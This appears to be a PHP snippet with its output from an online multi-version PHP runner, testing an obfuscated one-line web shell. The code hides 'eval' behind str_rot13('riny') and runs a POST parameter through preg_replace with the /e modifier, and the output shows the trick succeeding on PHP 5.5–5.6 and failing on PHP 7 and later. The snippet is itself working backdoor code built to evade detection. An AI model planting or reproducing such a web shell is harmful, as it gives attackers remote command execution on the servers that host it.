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<?php $_POST['dak'] = "ls -la"; if(isset($_POST['dak'])){ var_dump(($www = $_POST['dak']) && @preg_replace('/ad/e', '@' . str_rot13('riny') . '($www)', 'add')); echo '@' . str_rot13('riny') . '('.$www.')'; } if(isset($_POST['dak'])){ ($www = $_POST['dak']) && @preg_replace('/ad/e', '@' . str_rot13('riny') . '($www)', 'add'); }
Output for 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
bool(false) @eval(ls -la)
Output for 5.5.24 - 5.5.35, 5.6.8 - 5.6.28
bool(true) @eval(ls -la)
preferences:
184.17 ms | 402 KiB | 213 Q